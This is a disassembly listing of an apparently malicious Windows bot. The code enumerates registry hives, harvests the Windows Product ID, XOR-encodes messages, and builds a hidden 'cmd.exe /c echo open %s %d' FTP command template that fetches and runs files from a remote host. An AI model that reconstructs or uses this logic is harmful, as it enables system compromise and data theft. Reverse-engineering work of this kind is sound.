		lea	ecx, [esp+144h+var_130]
		mov	dword ptr [esp+144h], 2
		push	ecx
		push	20019h
		push	0
		mov	ecx, eax
		call	sub_4017EE
		push	eax
		push	80000002h
		call	edi
		lea	ecx, [esp+144h+var_124]
		mov	[esp+144h], ebx
		call	sub_401226
		push	0
		push	offset asc_444600 ; " "
		lea	edx, [esp+14Ch+var_124]
		push	2
		push	edx
		mov	ecx, esi
		call	sub_4011EA
		lea	ecx, [esp+144h+var_12C]
		lea	edx, [esp+144h+var_108]
		push	ecx
		push	edx
		push	0
		push	0
		mov	ecx, eax
		mov	dword ptr [esp+154h], 3
		call	sub_4017EE
		push	eax
		mov	eax, [esp+158h+var_130]
		push	eax
		call	ebp
		test	eax, eax
		lea	ecx, [esp+144h+var_124]
		mov	[esp+144h], ebx
		setz	byte ptr [esp+144h+var_134+3]
		call	sub_401226
		mov	al, byte ptr [esp+144h+var_134+3]
		test	al, al
		jz	short loc_436BF4
		lea	ecx, [esp+144h+var_108]
		push	ecx
		push	(offset	loc_448B77+1)
		lea	ecx, [esi+69h]
		call	sub_4014DD
		mov	dl, [esi+94h]
		push	eax
		mov	al, [esi+93h]
		push	edx
		push	eax
		push	offset byte_4D8075
		call	sub_401857
		add	esp, 18h


loc_436BF4:				; CODE XREF: sub_4369E0+1E4j
		mov	ecx, [esp+144h+var_130]
		push	ecx
		nop
		call	near ptr 2910000h
		push	0
		push	offset asc_444600 ; " "
		lea	edx, [esp+14Ch+var_124]
		push	1
		push	edx
		mov	ecx, esi
		mov	[esp+154h+var_12C], 80h
		call	sub_4011EA
		lea	ecx, [esp+144h+var_130]
		mov	dword ptr [esp+144h], 4
		push	ecx
		push	20019h
		push	0
		mov	ecx, eax
		call	sub_4017EE
		push	eax
		push	80000005h
		call	edi
		lea	ecx, [esp+144h+var_124]
		mov	[esp+144h], ebx
		call	sub_401226
		push	0
		push	offset asc_444600 ; " "
		lea	edx, [esp+14Ch+var_124]
		push	2
		push	edx
		mov	ecx, esi
		call	sub_4011EA
		lea	ecx, [esp+144h+var_12C]
		lea	edx, [esp+144h+var_108]
		push	ecx
		push	edx
		push	0
		push	0
		mov	ecx, eax
		mov	dword ptr [esp+154h], 5
		call	sub_4017EE
		push	eax
		mov	eax, [esp+158h+var_130]
		push	eax
		call	ebp
		test	eax, eax
		lea	ecx, [esp+144h+var_124]
		mov	[esp+144h], ebx
		setz	byte ptr [esp+144h+var_134+3]
		call	sub_401226
		mov	al, byte ptr [esp+144h+var_134+3]
		test	al, al
		jz	short loc_436CDC
		lea	ecx, [esp+144h+var_108]
		push	ecx
		push	offset loc_448B6C
		lea	ecx, [esi+69h]
		call	sub_4014DD
		mov	dl, [esi+94h]
		push	eax
		mov	al, [esi+93h]
		push	edx
		push	eax
		push	offset byte_4D8075
		call	sub_401857
		add	esp, 18h


loc_436CDC:				; CODE XREF: sub_4369E0+2CCj
		mov	ecx, [esp+144h+var_130]
		push	ecx
		nop
		call	near ptr 2910000h
		push	0
		push	offset asc_444600 ; " "
		lea	edx, [esp+14Ch+var_124]
		push	1
		push	edx
		mov	ecx, esi
		mov	[esp+154h+var_12C], 80h
		call	sub_4011EA
		lea	ecx, [esp+144h+var_130]
		mov	dword ptr [esp+144h], 6
		push	ecx
		push	20019h
		push	0
		mov	ecx, eax
		call	sub_4017EE
		push	eax
		push	80000000h
		call	edi
		lea	ecx, [esp+144h+var_124]
		mov	[esp+144h], ebx
		call	sub_401226
		push	0
		push	offset asc_444600 ; " "
		lea	edx, [esp+14Ch+var_124]
		push	2
		push	edx
		mov	ecx, esi
		call	sub_4011EA
		lea	ecx, [esp+144h+var_12C]
		lea	edx, [esp+144h+var_108]
		push	ecx
		push	edx
		push	0
		push	0
		mov	ecx, eax
		mov	dword ptr [esp+154h], 7
		call	sub_4017EE
		push	eax
		mov	eax, [esp+158h+var_130]
		push	eax
		call	ebp
		test	eax, eax
		lea	ecx, [esp+144h+var_124]
		mov	[esp+144h], ebx
		setz	byte ptr [esp+144h+var_134+3]
		call	sub_401226
		mov	al, byte ptr [esp+144h+var_134+3]
		test	al, al
		jz	short loc_436DC4
		lea	ecx, [esp+144h+var_108]
		push	ecx
		push	offset aHkcrS	; "HKCR: %s"
		lea	ecx, [esi+69h]
		call	sub_4014DD
		mov	dl, [esi+94h]
		push	eax
		mov	al, [esi+93h]
		push	edx
		push	eax
		push	offset byte_4D8075
		call	sub_401857
		add	esp, 18h


loc_436DC4:				; CODE XREF: sub_4369E0+3B4j
		mov	ecx, [esp+144h+var_130]
		push	ecx
		nop
		call	near ptr 2910000h
		push	0
		push	offset asc_444600 ; " "
		lea	edx, [esp+150h+var_128]
		push	1
		push	edx
		mov	ecx, esi
		mov	[esp+158h+var_130], 80h
		call	sub_4011EA
		lea	ecx, [esp+148h+var_134]
		mov	[esp+148h+var_4], 8
		push	ecx
		push	20019h
		push	0
		mov	ecx, eax
		call	sub_4017EE
		push	eax
		push	80000003h
		call	edi
		lea	ecx, [esp+148h+var_128]
		mov	[esp+148h+var_4], ebx
		call	sub_401226
		push	0
		push	offset asc_444600 ; " "
		lea	edx, [esp+150h+var_128]
		push	2
		push	edx
		mov	ecx, esi
		call	sub_4011EA
		lea	ecx, [esp+148h+var_130]
		lea	edx, [esp+148h+var_10C]
		push	ecx
		push	edx
		push	0
		push	0
		mov	ecx, eax
		mov	[esp+158h+var_4], 9
		call	sub_4017EE
		push	eax
		mov	eax, [esp+15Ch+var_134]
		push	eax
		call	ebp
		test	eax, eax
		lea	ecx, [esp+148h+var_128]
		mov	[esp+148h+var_4], ebx
		setz	[esp+148h+var_135]
		call	sub_401226
		mov	al, [esp+148h+var_135]
		pop	ebp
		test	al, al
		jz	short loc_436EAD
		lea	ecx, [esp+144h+var_10C]
		push	ecx
		push	offset aHkuS	; "HKU:	%s"
		lea	ecx, [esi+69h]
		call	sub_4014DD
		mov	dl, [esi+94h]
		push	eax
		mov	al, [esi+93h]
		push	edx
		push	eax
		push	offset byte_4D8075
		call	sub_401857
		add	esp, 18h


loc_436EAD:				; CODE XREF: sub_4369E0+49Dj
		mov	ecx, [esp+144h+var_134]
		push	ecx
		jmp	loc_436F51
; ---------------------------------------------------------------------------


loc_436EB7:				; CODE XREF: sub_4369E0+3Cj
		lea	ecx, [edi+32h]
		call	sub_4017EE
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	loc_436F57
		lea	edx, [esp+144h+var_12C]
		mov	[esp+144h+var_12C], eax
		push	edx
		push	20019h
		push	eax
		push	offset aSoftwareMicr_0 ; "Software\\Microsoft\\Windows\\CurrentVersi"...
		push	80000002h
		mov	[esp+158h+var_110], 80h
		nop
		call	near ptr 2950000h
		mov	edx, [esp+144h+var_12C]
		lea	eax, [esp+144h+var_110]
		lea	ecx, [esp+144h+var_8C]
		push	eax
		push	ecx
		push	0
		push	0
		push	offset aProductid ; "ProductId"
		push	edx
		nop
		call	near ptr 2900000h
		test	eax, eax
		jnz	short loc_436F4C
		lea	eax, [esp+144h+var_8C]
		lea	ecx, [esi+69h]
		push	eax
		push	offset aFoundWindowsPr ; "Found	Windows	Product	ID (%s)."
		call	sub_4014DD
		mov	cl, [esi+94h]
		mov	dl, [esi+93h]
		push	eax
		push	ecx
		push	edx
		push	offset byte_4D8075
		call	sub_401857
		add	esp, 18h


loc_436F4C:				; CODE XREF: sub_4369E0+539j
		mov	eax, [esp+144h+var_12C]
		push	eax


loc_436F51:				; CODE XREF: sub_4369E0+4D2j
		nop
		call	near ptr 2910000h


loc_436F57:				; CODE XREF: sub_4369E0+4E9j
		mov	ecx, [esp+144h+var_C]
		pop	edi
		pop	esi
		mov	al, 1
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 138h
		retn	4
sub_4369E0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 170h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4370F0	proc near		; CODE XREF: sub_401334j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= byte ptr  0Ch

		push	esi
		mov	esi, [esp+4+arg_4]
		xor	eax, eax
		test	esi, esi
		jle	short loc_43710D
		mov	cl, [esp+4+arg_8]
		mov	edx, [esp+4+arg_0]


loc_437103:				; CODE XREF: sub_4370F0+1Bj
		cmp	[eax+edx], cl
		jz	short loc_437111
		inc	eax
		cmp	eax, esi
		jl	short loc_437103


loc_43710D:				; CODE XREF: sub_4370F0+9j
		pop	esi
		xor	al, al
		retn
; ---------------------------------------------------------------------------


loc_437111:				; CODE XREF: sub_4370F0+16j
		pop	esi
		mov	al, 1
		retn
sub_4370F0	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_437130:				; CODE XREF: ___:00401433j
		push	ecx
		mov	eax, [esp+18h]
		push	ebx
		push	ebp
		push	esi
		push	edi
		push	eax
		mov	dword ptr [esp+14h], 98h
		nop
		call	near ptr 71AB2B66h
		mov	ebx, [esp+1Ch]
		and	eax, 0FFFFh
		push	ebx
		mov	[esp+2Ch], eax
		nop
		call	near ptr 77C2C407h
		mov	ecx, ebx
		mov	ebp, eax
		mov	edx, ecx
		xor	eax, eax
		mov	edi, ebp
		mov	esi, [esp+1Ch]
		shr	ecx, 2
		rep stosd
		mov	ecx, edx
		push	18h
		and	ecx, 3
		rep stosb
		mov	ecx, ebx
		mov	edi, ebp
		mov	eax, ecx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		nop
		call	near ptr 77C2C407h
		mov	edx, eax
		mov	ecx, 6
		xor	eax, eax
		mov	edi, edx
		rep stosd
		mov	eax, [esp+38h]
		mov	ecx, 6
		mov	esi, (offset loc_448B8F+1)
		mov	edi, edx
		rep movsd
		mov	ecx, [esp+30h]
		add	esp, 8
		mov	[eax+ebp], cl
		mov	[eax+ebp+1], ch
		mov	eax, [esp+34h]
		mov	ecx, [esp+2Ch]
		mov	[esp+1Ch], edx
		mov	[eax+ebp], cl
		mov	[eax+ebp+1], ch
		mov	cx, [esp+2Eh]
		mov	[eax+ebp+2], cl
		mov	[eax+ebp+3], ch
		mov	eax, [esp+38h]
		test	eax, eax
		jz	short loc_4371EC
		push	ebx
		push	ebp
		call	eax
		add	esp, 8


loc_4371EC:				; CODE XREF: ___:004371E3j
		push	ebx
		call	near ptr 77C2C407h
		nop
		mov	ecx, ebx
		mov	edx, eax
		mov	esi, ecx
		xor	eax, eax
		mov	edi, edx
		mov	[esp+2Ch], edx
		shr	ecx, 2
		rep stosd
		mov	ecx, esi
		mov	esi, ebp
		and	ecx, 3
		add	esp, 4
		rep stosb
		mov	ecx, ebx
		mov	edi, edx
		mov	edx, ecx
		mov	eax, [esp+1Ch]
		shr	ecx, 2
		rep movsd
		mov	ecx, edx
		and	ecx, 3
		rep movsb
		mov	[eax+0Eh], bl
		mov	[eax+0Fh], bh


loc_43722E:				; CODE XREF: ___:004372A7j
		push	5Ch
		push	ebx
		push	ebp
		call	sub_401334
		add	esp, 0Ch
		test	al, al
		jnz	short loc_43726E
		push	0
		push	ebx
		push	ebp
		call	sub_401334
		add	esp, 0Ch
		test	al, al
		jnz	short loc_43726E
		push	0Ah
		push	ebx
		push	ebp
		call	sub_401334
		add	esp, 0Ch
		test	al, al
		jnz	short loc_43726E
		push	0Dh
		push	ebx
		push	ebp
		call	sub_401334
		add	esp, 0Ch
		test	al, al
		jz	short loc_4372A9


loc_43726E:				; CODE XREF: ___:0043723Cj
					; ___:0043724Cj ...
		mov	esi, [esp+28h]
		mov	ecx, ebx
		mov	eax, ecx
		mov	edi, ebp
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		xor	eax, eax
		and	ecx, 3
		rep movsb
		mov	ecx, [esp+10h]
		inc	ecx
		test	ebx, ebx
		mov	[esp+10h], ecx
		jle	short loc_4372A0


loc_437293:				; CODE XREF: ___:0043729Ej
		mov	dl, [eax+ebp]
		xor	dl, cl
		mov	[eax+ebp], dl
		inc	eax
		cmp	eax, ebx
		jl	short loc_437293


loc_4372A0:				; CODE XREF: ___:00437291j
		mov	edx, [esp+1Ch]
		mov	[edx+13h], cl
		jmp	short loc_43722E
; ---------------------------------------------------------------------------


loc_4372A9:				; CODE XREF: ___:0043726Cj
		mov	eax, [esp+28h]
		push	eax
		call	near ptr 77C2C21Bh
		nop
		mov	ecx, [esp+28h]
		mov	edx, [esp+24h]
		mov	esi, ecx
		xor	eax, eax
		mov	edi, edx
		shr	ecx, 2
		rep stosd
		mov	ecx, esi
		mov	esi, [esp+20h]
		and	ecx, 3
		rep stosb
		mov	ecx, 6
		mov	edi, edx
		rep movsd
		mov	ecx, ebx
		lea	edi, [edx+17h]
		mov	edx, ecx
		mov	esi, ebp
		shr	ecx, 2
		rep movsd
		mov	eax, [esp+20h]
		mov	ecx, edx
		and	ecx, 3
		push	eax
		rep movsb
		mov	esi, dword_511AD0
		call	esi	; free
		push	ebp
		call	esi	; free
		add	esp, 0Ch
		lea	eax, [ebx+18h]
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 80h dup(0CCh)
; ---------------------------------------------------------------------------


loc_437390:				; CODE XREF: ___:00401D75j
		push	ecx
		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	edi, [esp+28h]
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		mov	dword ptr [esp+10h], 98h
		repne scasb
		mov	eax, [esp+1Ch]
		not	ecx
		dec	ecx
		lea	ebx, [ecx+eax+1]
		push	ebx
		nop
		call	near ptr 77C2C407h
		mov	ecx, ebx
		mov	ebp, eax
		mov	edx, ecx
		xor	eax, eax
		mov	edi, ebp
		mov	esi, [esp+1Ch]
		shr	ecx, 2
		rep stosd
		mov	ecx, edx
		push	18h
		and	ecx, 3
		rep stosb
		mov	ecx, ebx
		mov	edi, ebp
		mov	eax, ecx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		call	near ptr 77C2C407h
		nop
		mov	edx, eax
		mov	ecx, 6
		xor	eax, eax
		mov	edi, edx
		rep stosd
		mov	ecx, 6
		mov	esi, (offset loc_448B8F+1)
		mov	edi, edx
		add	esp, 8
		rep movsd
		mov	esi, [esp+28h]
		or	ecx, 0FFFFFFFFh
		mov	edi, esi
		mov	[esp+18h], edx
		repne scasb
		mov	edx, [esp+1Ch]
		not	ecx
		mov	eax, ecx
		lea	edi, [edx+ebp-2]
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		mov	eax, [esp+2Ch]
		and	ecx, 3
		test	eax, eax
		rep movsb
		jz	short loc_437442
		push	ebx
		push	ebp
		call	eax
		add	esp, 8


loc_437442:				; CODE XREF: ___:00437439j
		push	ebx
		nop
		call	near ptr 77C2C407h
		mov	ecx, ebx
		mov	edx, eax
		mov	esi, ecx
		xor	eax, eax
		mov	edi, edx
		mov	[esp+2Ch], edx
		shr	ecx, 2
		rep stosd
		mov	ecx, esi
		mov	esi, ebp
		and	ecx, 3
		add	esp, 4
		rep stosb
		mov	ecx, ebx
		mov	edi, edx
		mov	edx, ecx
		mov	eax, [esp+18h]
		shr	ecx, 2
		rep movsd
		mov	ecx, edx
		and	ecx, 3
		rep movsb
		mov	[eax+0Eh], bl
		mov	[eax+0Fh], bh


loc_437484:				; CODE XREF: ___:004374FDj
		push	5Ch
		push	ebx
		push	ebp
		call	sub_401334
		add	esp, 0Ch
		test	al, al
		jnz	short loc_4374C4
		push	0
		push	ebx
		push	ebp
		call	sub_401334
		add	esp, 0Ch
		test	al, al
		jnz	short loc_4374C4
		push	0Ah
		push	ebx
		push	ebp
		call	sub_401334
		add	esp, 0Ch
		test	al, al
		jnz	short loc_4374C4
		push	0Dh
		push	ebx
		push	ebp
		call	sub_401334
		add	esp, 0Ch
		test	al, al
		jz	short loc_4374FF


loc_4374C4:				; CODE XREF: ___:00437492j
					; ___:004374A2j ...
		mov	esi, [esp+28h]
		mov	ecx, ebx
		mov	eax, ecx
		mov	edi, ebp
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		xor	eax, eax
		and	ecx, 3
		rep movsb
		mov	ecx, [esp+10h]
		inc	ecx
		test	ebx, ebx
		mov	[esp+10h], ecx
		jle	short loc_4374F6


loc_4374E9:				; CODE XREF: ___:004374F4j
		mov	dl, [eax+ebp]
		xor	dl, cl
		mov	[eax+ebp], dl
		inc	eax
		cmp	eax, ebx
		jl	short loc_4374E9


loc_4374F6:				; CODE XREF: ___:004374E7j
		mov	edx, [esp+18h]
		mov	[edx+13h], cl
		jmp	short loc_437484
; ---------------------------------------------------------------------------


loc_4374FF:				; CODE XREF: ___:004374C2j
		mov	eax, [esp+28h]
		push	eax
		call	near ptr 77C2C21Bh
		nop
		mov	ecx, [esp+28h]
		mov	edx, [esp+24h]
		mov	esi, ecx
		xor	eax, eax
		mov	edi, edx
		shr	ecx, 2
		rep stosd
		mov	ecx, esi
		mov	esi, [esp+1Ch]
		and	ecx, 3
		rep stosb
		mov	ecx, 6
		mov	edi, edx
		rep movsd
		mov	ecx, ebx
		lea	edi, [edx+17h]
		mov	edx, ecx
		mov	esi, ebp
		shr	ecx, 2
		rep movsd
		mov	eax, [esp+1Ch]
		mov	ecx, edx
		and	ecx, 3
		push	eax
		rep movsb
		mov	esi, dword_511AD0
		call	esi	; free
		push	ebp
		call	esi	; free
		add	esp, 0Ch
		lea	eax, [ebx+18h]
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 80h dup(0CCh)
; ---------------------------------------------------------------------------


loc_4375F0:				; CODE XREF: ___:00401FFFj
		mov	eax, 200Ch
		call	sub_437B30
		mov	eax, [esp+2028h]
		mov	ecx, [esp+202Ch]
		push	ebx
		mov	edx, [esp+2028h]
		push	ebp
		push	esi
		push	edi
		push	eax
		push	eax
		mov	eax, [esp+2048h]
		push	eax
		mov	eax, [esp+203Ch]
		push	ecx
		push	edx
		push	eax
		lea	ecx, [esp+34h]
		push	offset aStartMinCmd_ex ; "start	/min cmd.exe /c	\"echo open %s %d "...
		push	ecx
		mov	dword ptr [esp+34h], 98h
		nop
		call	sub_5FC011
		lea	edi, [esp+3Ch]
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		mov	edx, [esp+2044h]
		repne scasb
		not	ecx
		dec	ecx
		lea	ebx, [ecx+edx+1]
		push	ebx
		call	near ptr 77C2C407h
		nop
		mov	ecx, ebx
		mov	ebp, eax
		mov	edx, ecx
		xor	eax, eax
		mov	edi, ebp
		mov	esi, [esp+2044h]
		shr	ecx, 2
		rep stosd
		mov	ecx, edx
		push	18h
		and	ecx, 3
		rep stosb
		mov	ecx, ebx
		mov	edi, ebp
		mov	eax, ecx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		nop
		call	near ptr 77C2C407h
		mov	edx, eax
		mov	ecx, 6
		xor	eax, eax
		mov	edi, edx
		rep stosd
		mov	ecx, 6
		mov	esi, (offset loc_448B8F+1)
		mov	edi, edx
		add	esp, 28h
		rep movsd
		lea	edi, [esp+1Ch]
		or	ecx, 0FFFFFFFFh
		repne scasb
		mov	[esp+10h], edx
		mov	edx, [esp+2024h]
		not	ecx
		mov	eax, ecx
		lea	esi, [esp+1Ch]
		lea	edi, [edx+ebp-2]
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		mov	eax, [esp+2044h]
		and	ecx, 3
		test	eax, eax
		rep movsb
		jz	short loc_4376F2
		push	ebx
		push	ebp
		call	eax
		add	esp, 8


loc_4376F2:				; CODE XREF: ___:004376E9j
		push	ebx
		nop
		call	near ptr 77C2C407h
		mov	ecx, ebx
		mov	edx, eax
		mov	esi, ecx
		xor	eax, eax
		mov	edi, edx
		mov	[esp+1Ch], edx
		shr	ecx, 2
		rep stosd
		mov	ecx, esi
		mov	esi, ebp
		and	ecx, 3
		add	esp, 4
		rep stosb
		mov	ecx, ebx
		mov	edi, edx
		mov	edx, ecx
		mov	eax, [esp+10h]
		shr	ecx, 2
		rep movsd
		mov	ecx, edx
		and	ecx, 3
		rep movsb
		mov	[eax+0Eh], bl
		mov	[eax+0Fh], bh


loc_437734:				; CODE XREF: ___:004377ADj
		push	5Ch
		push	ebx
		push	ebp
		call	sub_401334
		add	esp, 0Ch
		test	al, al
		jnz	short loc_437774
		push	0
		push	ebx
		push	ebp
		call	sub_401334
		add	esp, 0Ch
		test	al, al
		jnz	short loc_437774
		push	0Ah
		push	ebx
		push	ebp
		call	sub_401334
		add	esp, 0Ch
		test	al, al
		jnz	short loc_437774
		push	0Dh
		push	ebx
		push	ebp
		call	sub_401334
		add	esp, 0Ch
		test	al, al
		jz	short loc_4377AF


loc_437774:				; CODE XREF: ___:00437742j
					; ___:00437752j ...
		mov	esi, [esp+18h]
		mov	ecx, ebx
		mov	eax, ecx
		mov	edi, ebp
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		xor	eax, eax
		and	ecx, 3
		rep movsb
		mov	ecx, [esp+14h]
		inc	ecx
		test	ebx, ebx
		mov	[esp+14h], ecx
		jle	short loc_4377A6


loc_437799:				; CODE XREF: ___:004377A4j
		mov	dl, [eax+ebp]
		xor	dl, cl
		mov	[eax+ebp], dl
		inc	eax
		cmp	eax, ebx
		jl	short loc_437799


loc_4377A6:				; CODE XREF: ___:00437797j
		mov	edx, [esp+10h]
		mov	[edx+13h], cl
		jmp	short loc_437734
; ---------------------------------------------------------------------------


loc_4377AF:				; CODE XREF: ___:00437772j
		mov	eax, [esp+18h]
		push	eax
		nop
		call	near ptr 77C2C21Bh
		mov	ecx, [esp+2030h]
		mov	edx, [esp+202Ch]
		mov	esi, ecx
		xor	eax, eax
		mov	edi, edx
		shr	ecx, 2
		rep stosd
		mov	ecx, esi
		mov	esi, [esp+14h]
		and	ecx, 3
		rep stosb
		mov	ecx, 6
		mov	edi, edx
		rep movsd
		mov	ecx, ebx
		lea	edi, [edx+17h]
		mov	edx, ecx
		mov	esi, ebp
		shr	ecx, 2
		rep movsd
		mov	eax, [esp+14h]
		mov	ecx, edx
		and	ecx, 3
		push	eax
		rep movsb
		mov	esi, dword_511AD0
		call	esi	; free
		push	ebp
		call	esi	; free
		add	esp, 0Ch
		lea	eax, [ebx+18h]
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 200Ch
		retn
; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 90h dup(0CCh)
; ---------------------------------------------------------------------------


loc_4378B0:				; CODE XREF: ___:0040191Fj
		push	ecx
		push	ebx
		mov	ebx, [esp+10h]
		push	ebp
		push	esi
		push	edi
		push	ebx
		mov	dword ptr [esp+14h], 98h
		call	near ptr 77C2C407h
		nop
		mov	ecx, ebx
		mov	ebp, eax
		mov	edx, ecx
		xor	eax, eax
		mov	edi, ebp
		mov	esi, [esp+1Ch]
		shr	ecx, 2
		rep stosd
		mov	ecx, edx
		push	18h
		and	ecx, 3
		rep stosb
		mov	ecx, ebx
		mov	edi, ebp
		mov	eax, ecx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		nop
		call	near ptr 77C2C407h
		mov	edx, eax
		mov	ecx, 6
		xor	eax, eax
		mov	edi, edx
		rep stosd
		mov	eax, [esp+30h]
		add	esp, 8
		mov	ecx, 6
		mov	esi, (offset loc_448B8F+1)
		mov	edi, edx
		mov	[esp+1Ch], edx
		test	eax, eax
		rep movsd
		jz	short loc_43792D
		push	ebx
		push	ebp
		call	eax
		add	esp, 8


loc_43792D:				; CODE XREF: ___:00437924j
		push	ebx
		nop
		call	near ptr 77C2C407h
		mov	ecx, ebx
		mov	edx, eax
		mov	esi, ecx
		xor	eax, eax
		mov	edi, edx
		mov	[esp+1Ch], edx
		shr	ecx, 2
		rep stosd
		mov	ecx, esi
		mov	esi, ebp
		and	ecx, 3
		add	esp, 4
		rep stosb
		mov	ecx, ebx
		mov	edi, edx
		mov	edx, ecx
		mov	eax, [esp+1Ch]
		shr	ecx, 2
		rep movsd
		mov	ecx, edx
		and	ecx, 3
		rep movsb
		mov	[eax+0Eh], bl
		mov	[eax+0Fh], bh


loc_43796F:				; CODE XREF: ___:004379E8j
		push	5Ch
		push	ebx
		push	ebp
		call	sub_401334
		add	esp, 0Ch
		test	al, al
		jnz	short loc_4379AF
		push	0
		push	ebx
		push	ebp
		call	sub_401334
		add	esp, 0Ch
		test	al, al
		jnz	short loc_4379AF
		push	0Ah
		push	ebx
		push	ebp
		call	sub_401334
		add	esp, 0Ch
		test	al, al
		jnz	short loc_4379AF
		push	0Dh
		push	ebx
		push	ebp
		call	sub_401334
		add	esp, 0Ch
		test	al, al
		jz	short loc_4379EA


loc_4379AF:				; CODE XREF: ___:0043797Dj
					; ___:0043798Dj ...
		mov	esi, [esp+18h]
		mov	ecx, ebx
		mov	eax, ecx
		mov	edi, ebp
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		xor	eax, eax
		and	ecx, 3
		rep movsb
		mov	ecx, [esp+10h]
		inc	ecx
		test	ebx, ebx
		mov	[esp+10h], ecx
		jle	short loc_4379E1


loc_4379D4:				; CODE XREF: ___:004379DFj
		mov	dl, [eax+ebp]
		xor	dl, cl
		mov	[eax+ebp], dl
		inc	eax
		cmp	eax, ebx
		jl	short loc_4379D4


loc_4379E1:				; CODE XREF: ___:004379D2j
		mov	edx, [esp+1Ch]
		mov	[edx+13h], cl
		jmp	short loc_43796F
; ---------------------------------------------------------------------------


loc_4379EA:				; CODE XREF: ___:004379ADj
		mov	eax, [esp+18h]
		push	eax
		call	near ptr 77C2C21Bh
		nop
		mov	ecx, [esp+28h]
		mov	edx, [esp+24h]
		mov	esi, ecx
		xor	eax, eax
		mov	edi, edx
		shr	ecx, 2
		rep stosd
		mov	ecx, esi
		mov	esi, [esp+20h]
		and	ecx, 3
		rep stosb
		mov	ecx, 6
		mov	edi, edx
		rep movsd
		mov	ecx, ebx
		lea	edi, [edx+17h]
		mov	edx, ecx
		mov	esi, ebp
		shr	ecx, 2
		rep movsd
		mov	eax, [esp+20h]
		mov	ecx, edx
		and	ecx, 3
		push	eax
		rep movsb
		mov	esi, dword_511AD0
		call	esi	; free
		push	ebp
		call	esi	; free
		add	esp, 0Ch
		lea	eax, [ebx+18h]
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 68h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_437AB8	proc near		; CODE XREF: SEH_403530+5j
					; SEH_403720+5j ...
		jmp	near ptr 77C227FAh
sub_437AB8	endp

; ---------------------------------------------------------------------------
		db 2Dh,	2 dup(0CCh)
dword_437AC0	dd 7FE448E9h, 0E990BD77h, 777E444Ch, 7F18F6E9h					; ___:0043F018o ...
		db 77h,	95h

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_437AD2	proc near		; CODE XREF: ___:00406C30p
					; sub_406C50+11p ...
		nop
		jmp	near ptr 77C29CDDh
sub_437AD2	endp

; ---------------------------------------------------------------------------
		db 90h
		db 0E9h, 0B2h, 0FFh
		dd 7DE97780h, 0F0778101h, 1FBE990h
		db 81h,	77h

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_437AEA	proc near		; CODE XREF: sub_406C80+47p
					; ___:00406D1Ap ...
		nop
		jmp	near ptr 77C29CC5h
sub_437AEA	endp

; ---------------------------------------------------------------------------
dword_437AF0	dd 7E99F2E9h, 0C18B9F77h, 0F1D400C7h, 4C20043h,	0F18B5600h
		dd 3B3E8h, 2444F600h, 7740108h,	0FFBCE856h, 8B59FFFFh
		dd 4C25EC6h, 0C2C18B00h
		db 4, 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_437B22	proc near		; CODE XREF: sub_409660+4Dp
					; ___:0040AA7Dp
		nop
		jmp	near ptr 77C226F6h
sub_437B22	endp

; ---------------------------------------------------------------------------
		dd 80845DE9h, 0CCCCC077h

; =============== S U B	R O U T	I N E =======================================



sub_437B30	proc near		; CODE XREF: sub_40A110+5p
					; sub_410030+1Ap ...

arg_0		= byte ptr  4

		push	ecx
		cmp	eax, 1000h
		lea	ecx, [esp+4+arg_0]
		jb	short loc_437B50


loc_437B3C:				; CODE XREF: sub_437B30+1Ej
		sub	ecx, 1000h
		sub	eax, 1000h
		test	[ecx], eax
		cmp	eax, 1000h
		jnb	short loc_437B3C


loc_437B50:				; CODE XREF: sub_437B30+Aj
		sub	ecx, eax
		mov	eax, esp
		test	[ecx], eax
		mov	esp, ecx
		mov	ecx, [eax]
		mov	eax, [eax+4]
		push	eax
		retn
sub_437B30	endp

; ---------------------------------------------------------------------------
		db 0CCh
		db 90h
		db 0E9h, 2 dup(0FAh)
		dd 0E9907780h, 777E5424h, 7F04E990h, 0E9907780h, 7780FED8h
		dd 2300E990h, 0E9907780h, 7780FD9Ch, 487DE990h,	3D83777Fh
		dd 5109B4h, 0FF0C75FFh,	90042474h, 7FD25BE8h, 68C35977h
		dd 5109A4h, 5109B468h, 2474FF00h, 310E80Ch, 0C4830000h
		dd 74FFC30Ch, 0CBE80424h, 0F7FFFFFFh, 59C01BD8h, 0C348D8F7h
		dd 7F464EE9h, 0E9E97E77h, 46777FF5h, 0F5F9E990h
; ---------------------------------------------------------------------------
		jg	short loc_437C51

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_437BDA	proc near		; CODE XREF: sub_4199C0+28p
		nop
		jmp	near ptr 77C4FA10h
sub_437BDA	endp


; =============== S U B	R O U T	I N E =======================================



